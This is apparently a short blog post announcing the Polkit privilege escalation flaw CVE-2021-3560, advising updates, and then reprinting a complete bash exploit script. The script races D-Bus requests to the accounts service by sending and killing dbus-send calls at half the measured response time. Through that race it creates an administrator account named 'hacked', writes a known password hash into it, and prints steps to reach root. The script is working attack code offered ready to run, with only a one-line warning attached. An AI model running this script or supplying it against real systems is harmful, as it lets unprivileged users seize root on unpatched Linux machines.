SkyNet Tools
2 min readJun 17, 2021

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Polkit Version 0.105–26 0.117–2 Suffers a Local Privilege Escalation (LPE) exploit. This exploit allows an unprivileged user to gain root access to the Linux system. Updating the system is recommended to avoid exploitation.

More @ https://skynettools.com/

# Exploit Title: Polkit 0.105-26 0.117-2 - Local Privilege Escalation
# Date: 06/11/2021
# Exploit Author: J Smith (CadmusofThebes)
# Vendor Homepage: https://www.freedesktop.org/
# Software Link: https://www.freedesktop.org/software/polkit/docs/latest/polkitd.8.html
# Version: polkit 0.105-26 (Ubuntu), polkit 0.117-2 (Fedora)
# Tested on: Ubuntu 20.04, Fedora 33
# CVE: CVE-2021-3560
# Source: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

#!/bin/bash

# Set the name and display name
userName="hacked"
realName="hacked"

# Set the account as an administrator
accountType=1

# Set the password hash for 'password' and password hint
password='$5$WR3c6uwMGQZ/JEZw$OlBVzagNJswkWrKRSuoh/VCrZv183QpZL7sAeskcoTB'
passHint="password"

# Check Polkit version
polkitVersion=$(systemctl status polkit.service | grep version | cut -d " " -f 9)
if [[ "$(apt list --installed 2>/dev/null | grep polkit | grep -c 0.105-26)" -ge 1 || "$(yum list installed | grep polkit | grep -c 0.117-2)" ]]; then
echo "[*] Vulnerable version of polkit found"
else
echo "[!] WARNING: Version of polkit might not vulnerable"
fi

# Validate user is running in SSH instead of desktop terminal
if [[ -z $SSH_CLIENT || -z $SSH_TTY ]]; then
echo "[!] WARNING: SSH into localhost first before running this script in order to avoid authentication prompts"
exit
fi

# Test the dbus-send timing to load into exploit
echo "[*] Determining dbus-send timing"
realTime=$( TIMEFORMAT="%R"; { time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:$userName string:$realName int32:$accountType ; } 2>&1 | cut -d " " -f6 )
halfTime=$(echo "scale=3;$realTime/2" | bc)

# Check for user first in case previous run of script failed on password set
if id "$userName" &>/dev/null; then
userid=$(id -u $userName)
echo "[*] New user $userName already exists with uid of $userid"
else
userid=""
echo "[*] Attempting to create account"
while [[ $userid == "" ]]
do
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:$userName string:$realName int32:$accountType 2>/dev/null & sleep $halfTime ; kill $! 2>/dev/null
if id "$userName" &>/dev/null; then
userid=$(id -u $userName)
echo "[*] New user $userName created with uid of $userid"
fi
done
fi

# Add the password to /etc/shadow
echo "[*] Adding password to /etc/shadow"
x=0
while [ $x -lt 100 ]
do
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User$userid org.freedesktop.Accounts.User.SetPassword string:$password string:$passHint 2>/dev/null & sleep $halfTime ; kill $! 2>/dev/null
x=$(($x + 1))
done

echo "[*] Exploit complete! If the password does not work, run the exploit again"
echo ""
echo "[*] Run 'su - $userName', followed by 'sudo su' to gain root access"

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